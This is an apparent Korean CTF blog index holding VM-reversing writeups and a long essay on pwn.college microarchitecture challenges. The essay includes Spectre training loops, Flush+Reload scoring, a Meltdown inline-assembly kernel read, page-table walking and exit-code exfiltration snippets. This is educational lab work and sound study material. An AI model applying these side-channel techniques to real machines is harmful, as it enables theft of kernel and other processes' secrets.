\u0026quot;WHO_WHAT\u0026quot;이다. 그리고 SUBMIT마다 직전에 입력한 원본 문자열로 갱신된다.\n따라서 Q6의 목표값은 Q1~Q5 답변의 정확한 바이트에 의존한다. 대소문자까지 포함이다. 순서대로 풀어야 하고 건너뛸 수 없다.\n6. 인스턴스 복제 main이 /dev/urandom보다 환경변수를 먼저 본다.\n1 2 v3 = getenv(\u0026#34;WHATWHO_NONCE\u0026#34;); if (strlen(v3) == 16) { ... } 원격이 출력한 Instance seed: 값을 그대로 넣으면 동일한 인스턴스가 로컬에 뜬다.\n1 WHATWHO_NONCE=8ad2b00c27513180 ./whatwho vault.wwc 6개를 전부 오프라인에서 검증한 뒤 원격에 한 번만 접속하면 된다.\n걸린 것들 시드가 접속마다 바뀐다. Q1Q3은 고정이고 Q4Q6은 시드 의존이다. 이전 실행의 답을 그대로 붙여넣어 Q4에서 실패한 적이 있다. Q5는 소문자 hex여야 한다. 파서가 a-f만 받고, 받는다 해도 대소문자가 달라지면 키 해시가 달라져 Q6가 조용히 깨진다. Q4는 앞자리 0을 거부한다. 정리 디스패치 루프, 고정폭 명령, 별도 데이터 파일. 이 셋이 보이면 대상 바이너리는 프로그램이 아니라 CPU다. 단계 실행을 멈추고 데이터를 푸는 쪽이 빠르다.\n그리고 이 문제의 모든 연산은 가역이다. 정적으로 식을 확보하면 브루트포스 없이 답이 계산된다.\n전체 스크립트: ctf-writeups/2026-l3ak/what-who\n","permalink":"https://wjddml.github.io/writeups/what-who/","summary":"커스텀 컨테이너 포맷을 풀어 VM 바이트코드를 꺼내고, ISA를 복원해 6개 문제의 정답을 역산한다.","title":"What/Who — 컨테이너에 봉인된 VM 바이트코드 역산"},{"content":" 특정 문제의 풀이나 플래그는 다루지 않는다. 원리 설명도 최소한만 한다. 개념은 이해했는데 코드가 동작하지 않을 때 필요한 것들에 집중한다.\n이해했는데 안 될 때 Microarchitecture Exploitation 도장을 풀면서 짠 코드가 스무 개쯤 된다. 그중 대부분은 처음에 동작하지 않았다.\n원리를 몰라서가 아니었다. 권한 검사보다 데이터 로드가 먼저 완료되고 그 사이에 투기적으로 실행된 명령이 캐시에 흔적을 남긴다는 것, 분기 예측기를 훈련시키면 경계 검사 밖의 코드가 잠깐 실행된다는 것. 이건 설명을 읽으면 이해된다. 이해한 상태로 코드를 짜도 아무것도 나오지 않는다.\n여기서부터가 문제다. 일반적인 익스플로잇은 실패하면 원인을 볼 수 있다. 디버거를 붙이고, 브레이크포인트를 걸고, 메모리를 덤프한다. 이 분야는 그게 안 된다. 투기 실행 중의 레지스터는 아키텍처 상태가 아니라서 관측할 수 없고, 캐시 상태는 접근 시간으로 간접 추론만 가능하며, 그 추론마저 노이즈에 묻힌다.\n그래서 여기서 코드를 짠다는 건 프로그램을 만드는 일이라기보다 실험 장치를 만드는 일에 가깝다. 결과를 얻는 코드가 아니라, 실패했을 때 왜 실패했는지 말해주는 코드를 먼저 만들어야 한다.\n이 글은 그 장치를 만들면서 알게 된 것들이다.\n게이트만 바뀐다 여러 문제를 풀고 나면 하나의 뼈대가 보인다.\n무엇이 일어나선 안 되는 접근을 유발하는가(게이트), 그 접근으로 얻은 값이 어떻게 관측 가능한 부작용으로 바뀌는가(가젯), 그 부작용을 어떻게 읽는가(채널), 노이즈 속에서 어떻게 안정적으로 복원하는가(신호처리).\n이 넷 중에서 게이트만 문제마다 바뀐다. Spectre v1이면 조건 분기, v2면 간접 분기 목적지, Meltdown이면 권한 위반 로드다. 그리고 나머지 셋은 그대로 재사용된다. 한 번 제대로 만든 Flush+Reload 하네스는 게이트를 갈아 끼우며 계속 쓴다.\n이게 얼마나 그대로인지는 v1용 코드와 v2용 코드를 나란히 놓으면 드러난다. 커널 모듈을 상대하는 두 문제에서 내 쪽 코드의 차이는 한 줄이었다.\n1 buf[1] = 50; // BTB 훈련 횟수 채널도, 스코어링도, 캘리브레이션도, 재시도 로직도 건드리지 않았다. 조건 분기를 속이느냐 간접 분기 목적지를 속이느냐는 커널 모듈 안에서 갈리고, 내가 한 일은 파라미터 하나를 넘긴 것뿐이다.\n이걸 알고 나면 새 문제를 볼 때 던지는 질문이 하나로 줄어든다. 여기서 게이트가 뭔가.\n그리고 게이트는 대개 코드에 힌트를 남긴다. 경계 검사에 쓰이는 피연산자를 굳이 clflush하는 코드가 있다면, 그건 검사를 느리게 만들어 투기 창을 넓히라는 뜻이다. 간접 호출 직전에 함수 포인터를 flush한다면 BTI를 노리라는 뜻이고. 커널 모듈이 secret을 만지는데 정상 경로로는 그 값을 되돌려 볼 방법이 없다면, 그 비대칭 자체가 사이드 채널을 쓰라는 설계다.\n게이트가 네이티브 코드가 아닌 경우도 있다. 커스텀 VM이 올라간 문제에서는 게이트가 그 VM의 시스템콜 구현 안에 있고, 내가 하는 일은 그 VM의 명령어로 프로그램을 짜는 것이 된다. 파일을 열고, 읽고, secret 바이트를 인덱스로 쓰는 명령을 호출하는 프로그램이다.\n1 2 3 4 5 prog += sysop(SYS_OPEN, \u0026#39;a\u0026#39;) prog += sysop(SYS_READ, \u0026#39;d\u0026#39;) patch_off = len(prog) + 2 # 매 라운드 이 즉치값 한 바이트만 갈아끼운다 prog += imm(\u0026#39;a\u0026#39;, buf_off) prog += sysop(SYS_EXEC, None) 바이트 하나를 leak할 때마다 프로그램을 다시 만들지 않고 즉치값 한 바이트만 패치한다. 게이트가 데이터로 표현되니 공격 루프가 그만큼 가벼워진다.\n이런 힌트를 읽는 눈이 생기면 리버싱 단계가 짧아진다. 반대로 이걸 못 보면 VM ISA를 전부 복원하고도 어디를 공격해야 할지 모른 채 멈춘다.\n게이트를 내가 만들어야 할 때 Meltdown은 게이트를 만들 필요가 없다. 커널 주소를 그냥 읽으면 폴트가 나고, 그 폴트가 곧 게이트다. Spectre는 다르다. 예측기가 틀리게 예측하도록 내가 상황을 만들어줘야 한다.\n처음 짠 코드에는 훈련이 아예 없었다. 목표 인덱스를 써넣고 피해자를 깨우는 것만 반복했다.\n1 2 3 4 *index = i; for (int j = 0; j \u0026lt; 256; j++) _mm_clflush(probe + j * 0x1000); sem_post(sem); usleep(1000); 당연히 나오지 않았다. 예측기 입장에서는 매번 같은 상황이고, 틀리게 예측할 이유가 없다.\n다음 버전에서 훈련을 넣었다. 고정된 인덱스로 예측기를 여러 번 기울인 뒤, 마지막 한 번만 목표 인덱스를 넣는다.\n1 2 3 4 5 6 7 8 int training_loops = 10 + (rand() % 10); for (int t = training_loops; t \u0026gt;= 0; t--) { _mm_clflush(index_ptr); if (t == 0) { /* 이 순간에만 프로브 전체 flush */ } *index_ptr = (t == 0) ? i : TRAIN_IDX; sem_post(sem); ... } 여기서 세 가지를 의도했다.\n훈련 횟수를 난수로 잡은 건 고정 길이 패턴 자체를 예측기가 학습해버리는 걸 피하려는 것이다. 10번씩 정확히 반복하면 예측기가 \u0026ldquo;11번째는 다르다\u0026quot;를 배울 여지가 생긴다. 실제로 이 변경의 기여도를 따로 측정하지는 못했다.\n프로브 배열을 공격 시점에만 flush하는 것도 의도가 있다. 훈련 라운드마다 256개를 전부 flush하면 그 자체가 캐시를 흔들고 시간도 잡아먹는다. 훈련은 예측기만 건드리면 되니 캐시는 건드리지 않는 편이 낫다.\n가장 효과가 컸던 건 _mm_clflush(index_ptr)다. 피해자의 경계 검사가 이 값에 의존하는데, 그 값이 캐시에 없으면 검사 결과가 나오기까지 시간이 걸린다. 그 지연이 곧 투기 창이다. Spectre에서 창을 넓히는 정공법이 이거다. 뒤집어 말하면, 문제 코드에 검사 피연산자를 굳이 flush하는 줄이 있다면 그건 출제자가 창을 열어둔 것이다.\n그리고 이 코드에는 지연 루프도 하나 들어 있다.\n1 for (volatile int d = 0; d \u0026lt; (100 + rand() % 100); d++); 나중에 Meltdown에서 똑같이 생긴 걸 썼다가 완전히 실패한다. 같은 코드인데 결과가 갈린 이유는 목적이 달라서다. 여기서는 다른 프로세스가 투기 실행할 시간을 벽시계로 기다리는 것이고, Meltdown에서는 내 명령 흐름 안의 투기 창을 늘리려던 것이었다. 앞의 것은 되고 뒤의 것은 안 된다. 그 얘기는 마지막에 하겠다.\n실패를 분리할 수 없으면 아무것도 못 고친다 처음 짠 코드는 실패했을 때 할 수 있는 게 없었다. 값이 안 나오는데 채널이 깨진 건지, 투기 창이 안 열린 건지, 주소가 틀린 건지 구분이 안 됐다. 그래서 뭔가를 바꾸고, 안 되고, 또 바꾸고, 안 되고를 반복했다.\n나중에는 코드를 모드로 나눠 짰다.\n1 2 3 4 #define MODE 2 // MODE 0 — 순수 유저 공간에서 채널만 검증 // MODE 1 — fault 억제 + 투기 읽기 검증 (알려진 값 복원) // MODE 2 — 실제 커널 주소 읽기 MODE 0이 실패하면 캐시 채널 문제고, MODE 1이 실패하면 fault 억제나 투기 창 문제고, MODE 2만 실패하면 주소나 L1 상주 문제다. 실패 지점이 원인을 특정한다. 이 구조를 만들고 나서 디버깅 시간이 자릿수로 줄었다.\n같은 발상이 대상 선택에도 적용된다. 커널 메모리를 처음 읽을 때 플래그를 노리면 안 된다. 값이 안 나와도 그게 실패인지 원래 그런 건지 모르니까. 대신 정답을 아는 것부터 읽는다. task_struct의 comm 필드에는 프로세스 이름이 ASCII로 들어 있어서, 화면에 babyarch_molten이 찍히는 순간 게이트와 주소와 채널이 한꺼번에 검증된다.\n권한 문제로 디버거를 못 붙이는 환경이라도 이건 된다. 내 프로세스의 이름은 내가 아니까.\n한 바이트가 읽히면 나머지는 평범한 일이 된다 comm이 화면에 찍히고 나면 손에 들어오는 건 딱 하나다. 커널 주소에서 1바이트를 읽는 함수.\n1 uint8_t leak_byte(uint64_t kaddr); 이걸 여덟 번 부르면 qword가 되고, 그 순간 커널 메모리가 그냥 읽을 수 있는 배열이 된다. task_struct에서 mm을 꺼내고, mm에서 pgd를 꺼내는 건 오프셋 산술일 뿐이다. 평범한 포인터 추적이다.\n여기가 이 계열 문제의 구조적 특징이라고 생각한다. 기법 설명은 \u0026ldquo;커널 메모리를 읽을 수 있다\u0026quot;에서 끝나지만, 실제 목표는 대개 다른 프로세스의 유저 메모리에 있다. 그 사이를 잇는 건 사이드 채널이 아니라 커널 자료구조에 대한 지식이다. Meltdown은 사슬의 첫 고리일 뿐이고, 나머지는 리눅스 메모리 관리를 아는 사람이면 누구나 하는 작업이다.\n다만 주소가 세 종류로 섞여 나온다는 게 혼란의 원인이다. 피해자가 보는 유저 가상주소가 있고, leak_byte에 넣을 수 있는 커널 가상주소가 있고, 페이지테이블 엔트리 안에 담겨 있는 물리주소가 있다. 셋을 구분하지 않으면 어느 줄에서 뭘 다루고 있는지 금방 놓친다.\n셋을 잇는 다리가 direct map이다. 리눅스는 부팅 시 물리 메모리 전체를 커널 주소 공간에 선형 매핑해두는데, 그 덕에 PAGE_OFFSET + 물리주소가 곧 읽을 수 있는 주소가 된다. \u0026ldquo;물리 주소를 알면 읽을 수 있다\u0026quot;가 성립하는 순간 워크가 가능해진다.\n워크 자체는 지루하다. 가상주소의 비트를 9개씩 잘라 인덱스를 만들고, 엔트리에서 다음 테이블의 물리주소를 꺼내고, 네 번 반복한다. CPU가 하드웨어로 하는 일을 C로 옮긴 것뿐이다.\n어려운 건 다른 데 있다. 모든 읽기가 확률적이라는 것. 한 단계에서 한 바이트가 잘못 나오면 다음 테이블의 주소가 틀리고, 그 아래로는 전부 쓰레기가 된다. 그리고 아무런 에러 메시지도 없다. 그냥 이상한 값이 나올 뿐이다.\n그래서 단계마다 검증을 넣는다. present 비트가 서 있는지, 나온 물리주소가 이 시스템의 메모리 크기 안에 들어오는지, 같은 주소를 여러 번 읽었을 때 일관된 값이 나오는지. 엔트리가 0으로 나왔을 때 그게 매핑이 없는 건지 읽기가 실패한 건지 구분하려면 이 정도는 있어야 한다.\n구조체 오프셋은 추측하면 안 된다. 커널 버전마다 다르고, 하나 틀리면 그 아래가 전부 무너지는데 원인을 찾기가 지독하게 어렵다. 모듈에 디버그 정보가 남아 있으면 pahole로 확정할 수 있고, 없으면 /sys/kernel/btf/vmlinux에서 뽑는다. 이건 5분이면 되는 일이라 아낄 이유가 없다.\n정리하면 이 사슬 전체가 원시 기능 하나 위에 얹혀 있다. 그러니 그 하나를 최대한 단단하게 만드는 데 시간을 쓰는 게 맞다. 아래 얘기들이 전부 거기에 관한 것이다.\n신호가 약할 때 무엇을 보는가 히스토그램을 항상 출력하는 습관이 큰 도움이 됐다. 최종 판정만 보면 원인을 못 짚지만, 라운드별로 어느 페이지가 몇 표를 받았는지 보면 실패의 모양이 보인다.\n표가 전혀 없으면 게이트가 안 열린 것이다. 산발적으로 흩어져 있으면 신호는 있는데 약한 것이고, 이건 반복으로 이길 수 있다. 그리고 표가 전부 page 0에 몰려 있으면 그건 fault 후 레지스터가 0으로 편향된 전형적인 모습이다. 값이 새지 않고 0으로 읽힌 것이니, page 0을 카운트에서 빼면 그 아래 묻혀 있던 진짜 신호가 드러난다.\n측정 지표를 바꾼 것도 컸다. 처음에는 라운드마다 가장 빠른 페이지 하나에만 표를 줬다.\n1 2 3 if (t \u0026lt; min_time \u0026amp;\u0026amp; j \u0026gt;= 0x20 \u0026amp;\u0026amp; j \u0026lt;= 0x7e) { min_time = t; best_j = j; } ... if (best_j != -1) hit_counts[best_j]++; 신호가 약하면 노이즈가 그 한 표를 계속 훔쳐간다. 임계값 이하인 페이지를 전부 누적하도록 바꾸니 확연히 좋아졌다.\n1 if (t_val \u0026lt; threshold) score[j]++; secret은 게이트가 성공할 때마다 매번 득점하고 노이즈는 산발적이라, 시행을 쌓을수록 격차가 벌어진다. 시도 횟수도 50에서 500, 1000으로 올렸는데 누적 방식으로 바꾼 뒤에야 그 증가가 의미를 가졌다.\n한 번에 다 안 나오는 문제도 있었다. 안 새는 바이트가 실행할 때마다 달라졌는데, 이건 실패가 구조적이 아니라 확률적이라는 뜻이다. 바이트별 히스토그램을 여러 패스에 걸쳐 누적하고, 확신이 선 바이트는 건너뛰며 남은 자리에 시도를 몰아주는 식으로 처리했다. 쉬운 위치부터 채워지고 어려운 위치는 독립적인 재시도 기회를 얻는다.\n그리고 \u0026ldquo;모름\u0026quot;을 값으로 표현해야 한다.\n1 return (cnt * 4 \u0026gt;= ROUNDS / 10) ? best : 0; // 신뢰도 미달이면 모름 실패와 \u0026ldquo;값이 0\u0026quot;을 구분하지 않으면 상위 로직에서 원인을 추적할 수 없다. 이건 사이드 채널만의 얘기가 아니라 불확실한 측정을 다루는 모든 코드에 해당한다.\n도메인을 알면 노이즈를 줄일 수 있다 읽으려는 대상에 대해 아는 것이 있다면, 그걸 필터로 쓰면 노이즈가 통째로 사라진다.\n플래그는 출력 가능한 ASCII다. 그러면 후보 페이지를 32~126으로 제한할 수 있고, 상위 바이트 노이즈가 argmax를 훔치는 일이 애초에 없어진다. 프로브하고 flush할 라인도 줄어드니 한 라운드가 빨라지는 건 덤이다.\n포인터와 페이지테이블 엔트리는 더 강한 구조를 갖는다. 페이지 정렬이면 하위 12비트가 0이고, direct-map 주소면 상위 바이트가 고정이며, present 비트는 서 있어야 한다. 이 불변식을 알고 있으면 1바이트 오류를 자동으로 잡아낼 수 있다.\n실제로 이게 검출기로 동작한 순간이 있다.\n1 2 3 [!] mm/pgd 불량(mm=0xffff88807d4dd001 pgd=0xffff88807c66c0) → 재캘리브레이션 [calib] hit~72 miss~284 threshold=156 [*] mm=0xffff88807d4dd000 pgd=0xffff88807c66c000 mm은 하위 1비트가 잘못 서 있고 pgd는 한 바이트가 통째로 빠졌다. 둘 다 \u0026ldquo;커널 포인터가 이렇게 생길 리 없다\u0026quot;는 조건에 걸렸고, 그래서 재교정이 트리거됐고, 다음 시도에서 제대로 나왔다.\n채널과 출구는 별개 문제다 Flush+Reload를 오래 쓰다 보면 그게 유일한 선택지인 것처럼 느껴진다. 그런데 캐시 라인의 상태를 읽는 방법도, 읽어낸 값을 밖으로 꺼내는 방법도 각각 다른 문제다.\n한 문제에서는 prefetcht0의 지연 자체를 채널로 썼다. 매핑된 페이지와 매핑되지 않은 페이지의 프리페치 소요 시간이 다르다는 점을 이용해 주소 공간을 훑는다.\n1 2 3 4 5 6 7 rdtsc mov r12, rax prefetcht0 [rbx] rdtsc sub rax, r12 cmp rax, r14 jl verify_address 여기서 얻는 건 데이터가 아니라 주소다. 데이터 leak과 주소 탐색이 같은 도구로 되는 셈인데, 이것도 생각해보면 당연하다. 캐시나 TLB 상태에 흔적을 남기는 모든 동작은 채널이 될 수 있고, 그 흔적이 값을 말해주느냐 존재 여부를 말해주느냐가 다를 뿐이다.\n후보를 찾으면 바로 받아들이지 않고 다섯 번 더 확인한다.\n1 2 3 4 5 verify_loop: ... cmp rax, r14 jg next_page loop verify_loop 주소 공간 전체를 훑으면 한 번쯤은 노이즈로 빠르게 나온다. 다섯 번 연속으로 빠를 확률은 훨씬 낮다. 스캔처럼 후보가 많은 작업에서는 이런 확인 단계가 없으면 오탐이 결과를 지배한다.\n출구는 더 극단적이었다. 공유 메모리가 없어서 프로세스 종료 코드로 한 바이트씩 꺼냈다.\n1 2 3 4 5 6 found_flag: mov rsi, {flag_offset} movzx rdi, byte ptr [rbx + rsi] exit_syscall: mov rax, 60 syscall 한 바이트마다 프로세스를 새로 띄운다. 대역폭으로 보면 최악이지만, 채널이 하나도 없는 것보다는 낫다. 그리고 이 관점이 생기면 다른 것들도 출구로 보이기 시작한다. 종료 코드, 실행 시간, 시그널 종류, 로그 한 줄.\n여기서 임계값을 정하는 방식도 달랐다. 측정해서 유도하는 대신, 후보 목록을 두고 전부 시도한 뒤 출력이 그럴듯한 것을 채택했다.\n1 2 3 4 5 threshold_candidates = [85, 90, 95, 100, ..., 150, 75, 80] for trial_threshold in threshold_candidates: char_code = extract_flag_char(i, trial_threshold) if char_code is not None and 32 \u0026lt;= char_code \u0026lt;= 126: break 플래그가 출력 가능한 ASCII라는 사실이 임계값 선택기 역할을 한다. 캘리브레이션할 방법이 마땅치 않은 환경에서 쓸 만한 우회다. 다만 검증 조건이 느슨하면 잘못된 임계값이 우연히 통과할 수 있으니, 도메인 제약이 충분히 좁을 때만 성립한다.\n캘리브레이션은 고정값이 아니다 초기 코드에는 이런 줄이 있었다.\n1 uint64_t min_time = 150; // Threshold: 시스템에 따라 100~200 사이 조정 주석이 이미 문제를 다 말하고 있다. 시스템마다 다르다는 걸 알면서 상수로 박아둔 것이다. 나중에 매 실행 시작할 때 재도록 바꿨고, 결과가 터무니없으면 기본값으로 되돌리는 안전장치를 붙였다.\n1 2 threshold = calibrate(buf); if (threshold \u0026lt; 50 || threshold \u0026gt; 500) threshold = 150; 여기까지는 어렵지 않았다. 몰랐던 건 한 실행 안에서도 튄다는 것이었다.\n임계값이 174로 잡혀서 잘 돌던 코드가, 어느 순간 287로 잡히더니 그 뒤로 읽는 값이 전부 쓰레기가 됐다. 워밍업을 넣고 여러 번 재측정한 뒤 보수적인 값을 채택하도록 바꿔서 빈도는 줄였지만, 완전히 없애지는 못했다.\n평균 대신 중앙값을 쓰는 것도 도움이 됐다. 타이밍 분포는 꼬리가 길어서 인터럽트 한 번이 평균을 통째로 끌어올린다.\n1 2 hit_med, miss_med = statistics.median(hit_samples), statistics.median(miss_samples) threshold = (hit_med + miss_med) / 2 캘리브레이션 대상을 바꾸는 방법도 있었다. 합성된 접근으로 HIT을 재는 대신, 정답을 짐작할 수 있는 실제 공격 경로를 그대로 돌려서 재는 것이다. 플래그가 pwn.college{로 시작한다면 첫 글자는 p일 테니, 그 페이지가 캐시에 올라오는 시간이 곧 이 공격 경로에서의 HIT이다. 짐작이 틀리면 캘리브레이션도 틀리지만, 합성 측정과 실제 경로의 특성이 다를 때는 이쪽이 정확하다.\n그래서 위에 나온 구조 검사를 재교정 트리거로 붙였다. 결과가 구조적으로 불가능하면 다시 재고 다시 시도한다. 로그에 재교정이 찍히고 그다음 읽기가 정상화되는 걸 확인했을 때는 꽤 만족스러웠다.\n그런데 이 장치가 나중에 발목을 잡았다.\n자동 복구가 무한 루프가 될 때 피해 프로세스를 공격자와 같은 코어에 고정해본 적이 있다. 캐시를 공유하니 더 잘 되지 않을까 하는 생각이었다.\n정반대였다. 잘 되던 읽기가 무너졌다. 피해 프로세스의 무한 루프가 공격자의 캐시 상태를 계속 파괴해서, mm과 pgd 단계부터 값이 나오지 않았다. 고정을 빼자 바로 정상으로 돌아왔다.\n여기서 재교정 로직이 무한 루프에 빠졌다. 구조 검사가 계속 실패하니 계속 재교정하는데, 원인이 캘리브레이션이 아니라 캐시 간섭이라 아무리 다시 재도 정상화될 리가 없었다.\n재교정 자체가 잘못된 건 아니다. 다만 자동 복구 장치는 자기가 대응하도록 설계된 실패에만 유효하다. 다른 원인의 실패를 만나면 조용히 무한 루프가 되고, 그러면 진짜 원인을 찾는 시간이 오히려 늘어난다. 자동화가 실패를 감춰버리면 자동화하지 않느니만 못하다.\n다른 문제에서 쓴 코드에는 마침 이 문제가 없었다. 재시도 상한을 두고, 초과하면 그때까지의 최선을 표시와 함께 받아들인다.\n1 2 3 4 5 if (retry \u0026gt;= 5) { flag[i] = (char)best; printf(\u0026#34;Index %2d: %c (WEAK)\\n\u0026#34;, i, flag[i]); break; } (WEAK) 표시가 핵심이다. 값을 받아들이되 신뢰도가 낮다는 걸 남긴다. 그러면 전체 결과를 보고 어느 자리가 의심스러운지 알 수 있고, 나머지 문자로 문맥이 잡히면 손으로 메울 수도 있다. 멈추지도 않고 실패를 감추지도 않는 절충이다.\n그리고 이 경험이 남긴 더 중요한 감각이 있다. 누가 캐시를 채우고 누가 파괴하는가를 항상 의식해야 한다는 것. co-location은 상황에 따라 득이 되기도 하고 독이 되기도 한다.\n덧붙여 솔직하게 밝혀두면, 공격자 쪽 코어 고정은 처음부터 켜둔 채로 진행했고 끄고 켠 비교는 하지 않았다. 코어 고정이 필요하다는 근거는 이론상의 것이고 이 환경에서 그 차이를 실측한 건 아니다.\n아무도 자세히 말해주지 않는 문제 Meltdown은 대상이 L1에 있을 때만 읽힌다. L2나 메모리에 있으면 데이터가 도착하기 전에 권한 검사가 먼저 끝난다.\n설명은 이 조건을 한 줄로 짚고 넘어간다. 실제로는 여기서 가장 많이 막힌다. 읽고 싶은 그 바이트를, 내가 읽기 직전에, 어떻게 L1에 올려둘 것인가.\n답은 매번 달랐다. 커널이나 VM 로직 중에 secret을 순회하는 경로가 있으면 그걸 호출해서 대신 읽게 만든다. 유저 포인터를 역참조하는 ioctl이 있으면 값을 안 돌려줘도 그 캐시 라인은 L1에 남으니 사실상 프리로더가 된다. 실제로 이 프리로드를 넣기 전후로 2000회 중 1991회 일치라는 수치가 나왔다.\n어떤 인터페이스는 커널이 페이지테이블을 순회하게 만들어서 간접적으로 원하는 라인을 올려준다. 다만 권한 검사가 워킹보다 먼저 걸리는 경우, 예를 들어 setuid 프로세스를 대상으로 하면 아무 효과가 없다. 이 실패를 다른 실패와 구분하지 못하면 한참 헤맨다.\n피해 프로세스가 계속 돌고 있다면 그 자체에 기댈 수도 있다. 자기 데이터를 자기 코어 캐시에 유지하고 있을 테니까. x86 L1D는 물리 주소로 인덱싱되므로, 같은 물리 라인이면 어느 가상주소로 접근해 캐시됐든 같은 엔트리다. 피해가 자기 유저 VA로 올려둔 것을 내가 direct-map 주소로 읽을 수 있는 이유가 이것이다.\npriming을 어떻게 할 것인가는 결국 \u0026ldquo;이 시스템에서 그 메모리를 만지는 주체가 누구인가\u0026quot;를 묻는 일이다. 그리고 그 질문은 시스템의 구조를 이해하지 않으면 답할 수 없다. 사이드 채널이 순수한 하드웨어 문제가 아니라 시스템 문제인 지점이다.\nC 소스는 CPU와의 계약이 아니다 가장 오래 붙잡았고, 가장 많이 배운 지점이다.\n투기 창을 넓히려고 이렇게 썼다.\n1 2 3 4 volatile double d = 1.0; for (int i = 0; i \u0026lt; 40; i++) d /= 1.7; uint8_t v = *(volatile uint8_t *)kaddr; (void)probe[v * 4096]; 부동소수점 나눗셈은 느리니까 권한 검사가 늦어지고 투기 창이 넓어질 거라고 생각했다. 히스토그램이 완전히 비었다. 반복 횟수를 바꿔봐도, volatile을 더 붙여봐도 그대로였다.\n인라인 어셈블리로 바꾸니 즉시 동작했다.\n1 2 3 4 5 6 xorq %rax, %rax 1: movzbq (%[addr]), %rax shlq $12, %rax jz 1b movq (%[buf], %rax), %rbx 같은 의도인데 결과가 갈렸다. 컴파일러는 의미만 보존하면 명령 순서를 바꾸고, 명령을 없애고, 레지스터를 재배치할 자유가 있다. volatile이 보장하는 건 \u0026ldquo;이 접근을 제거하지 마라\u0026quot;까지다. 주변 명령의 배치는 보장하지 않는다.\n생각해보면 당연하다. C의 의미론은 추상 기계 위에 정의되어 있고, 그 추상 기계에는 투기 실행도 캐시도 분기 예측기도 없다. 내가 다루려는 대상은 전부 그 추상화 아래에 있다. 추상화 위에서 아래를 조종하려 한 셈이다.\n이 영역에서 인라인 어셈블리는 취향이 아니라 필수인 지점이 있다. 그리고 그것보다 더 중요한 습관 하나는, 핵심 루프를 항상 objdump -d로 확인하는 것이다. 내가 쓴 C와 CPU가 실행할 명령을 대조해보는 것. 이 습관이 없으면 왜 안 되는지 영원히 모른다.\njz 1b 재시도 루프가 왜 효과적인지도 짚어둘 만하다. 값이 0이면 다시 루프를 도는 분기를 두면, CPU가 그 안을 투기적으로 반복하면서 프로브 접근에 도달할 기회가 늘어난다. 투기 창을 \u0026ldquo;넓히는\u0026rdquo; 게 아니라 \u0026ldquo;여러 번 시도하게\u0026rdquo; 만드는 접근이다.\n정리 이 도장에서 얻은 게 사이드 채널 지식이라고는 생각하지 않는다. 그건 찾아보면 어디에나 있다.\n남은 건 관측할 수 없는 대상을 다루는 방식이다. 정답을 아는 것부터 검증하고, 실패가 원인을 특정하도록 구조를 짜고, 상수를 추측하지 말고 측정해서 유도하고, 확실하지 않은 결과를 \u0026ldquo;모름\u0026quot;으로 표현하고, 안 될 때 뭔가를 더하는 대신 덜어내면서 한 번에 하나씩만 바꾸는 것.\n이건 사이드 채널에만 쓰이는 게 아니다. 불확실한 관측을 다루는 모든 작업에 그대로 옮겨간다.\n그리고 하나 더. 개발자가 상정하지 않은 상태에 시스템을 밀어넣는다는 관점은 이 분야 밖에서도 계속 만난다. 커널 레이스는 시간 축에서 그렇게 하고, 스마트 컨트랙트의 불변식 위반은 호출 순서 축에서 그렇게 한다. 축만 다르고 묻는 질문은 같다. 이 상태 기계가 도달할 수 있지만 아무도 생각하지 않은 상태는 어디인가.\n","permalink":"https://wjddml.github.io/notes/microarch-exploitation/","summary":"pwn.college Microarchitecture Exploitation 도장을 풀면서 시도한 시행착오와 엔지니어링 기법, 이론을 동작하는 코드로 구현하면서 얻은 것들.","title":"마이크로아키텍처 익스플로잇 — 개념과 동작하는 코드 사이"},{"content":"개요 배포 파일은 cinder 하나다.\n1 2 3 $ file cinder cinder: ELF 64-bit LSB pie executable, ARM aarch64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-aarch64.so.1, stripped 실행하면 패스워드를 입력받고 참/거짓만 출력한다. aarch64에 stripped, PIE까지 걸려 있어 첫인상은 부담스럽지만, 실제 검증 로직은 네이티브 코드에 없다. 바이너리 안에 펌웨어 이미지가 박혀 있고 cinder는 그것을 실행하는 인터프리터다.\n작업 순서는 다음과 같이 잡았다.\n네이티브 코드에서 VM 인터프리터 식별, ROM 위치와 크기 확보 펌웨어 덤프 디스패치 분기에서 ISA 복원, 디스어셈블러 작성 펌웨어 내 데이터 영역 분류 선형 계층 행렬 추출 8라운드 역산으로 패스워드 복구 패스워드로 플래그 복호화 ISA 복원까지는 비교적 수월했고, 디스어셈블 결과에서 암호 연산을 되짚는 4~6단계에 시간이 가장 많이 들었다.\n1. 인터프리터 식별 aarch64가 처음이면 여기서 주춤하기 쉬운데, x86-64 ELF와 접근 방식은 다르지 않다. 명령어 집합만 다를 뿐 디컴파일러가 붙으면 읽는 흐름은 같다. 오히려 고정폭 4바이트에 레지스터가 넉넉해서 디컴파일 결과가 x86보다 정돈되어 나오는 편이다.\nstripped라 심볼이 없으므로 구조로 찾는다. 인터프리터 본체는 형태가 뚜렷하다. 바이트 네 개를 읽어 32비트로 합치고, 그중 한 바이트로 거대한 분기를 타고, 각 분기가 같은 전역 배열을 인덱싱한다.\n디컴파일 결과에서 세 개의 전역이 나온다.\n심볼 용도 근거 DAT_00100e80 ROM (펌웨어) 명령어 인출 대상 DAT_00113018 레지스터 파일 4바이트 단위, 니블로 인덱싱 DAT_00113058 RAM 바이트 단위, \u0026amp; 0xffff 레지스터 파일과 RAM의 주소 차이가 0x40이다. 4바이트 × 16개, 즉 32비트 레지스터 16개다. RAM은 \u0026amp; 0xffff 마스크가 붙으니 64KB다.\n여기서 2단계에 필요한 값이 그대로 나온다. ROM 베이스가 파일 오프셋 0xe80이고, ROM 접근 명령에 이런 코드가 붙어 있다.\n1 2 // opcode 0xc6 (LDR_ROM) reg[rd] = ROM[(imm16 + reg[rs1]) % 0x131e]; 모듈러 상수가 곧 펌웨어 크기다. 크기를 추정하거나 데이터 배치로 역산할 필요 없이 0x131e로 확정된다.\n주의할 점. PIE라서 정적 분석 도구가 보여주는 주소는 이미지 베이스 기준 오프셋이다. 동적 분석과 대조할 때는 실행 시 베이스를 더해야 한다. aarch64 바이너리를 x86 머신에서 실행하려면 qemu-aarch64가 필요하다.\n1 $ qemu-aarch64 -L /usr/aarch64-linux-gnu ./cinder 2. 펌웨어 덤프 1단계에서 확보한 두 값을 그대로 쓴다.\n1 2 3 4 5 6 7 8 9 10 FILE_PATH = \u0026#39;the_cinder_engine/cinder\u0026#39; OFFSET = 0xe80 SIZE = 0x131e with open(FILE_PATH, \u0026#39;rb\u0026#39;) as f: f.seek(OFFSET) firmware_data = f.read(SIZE) with 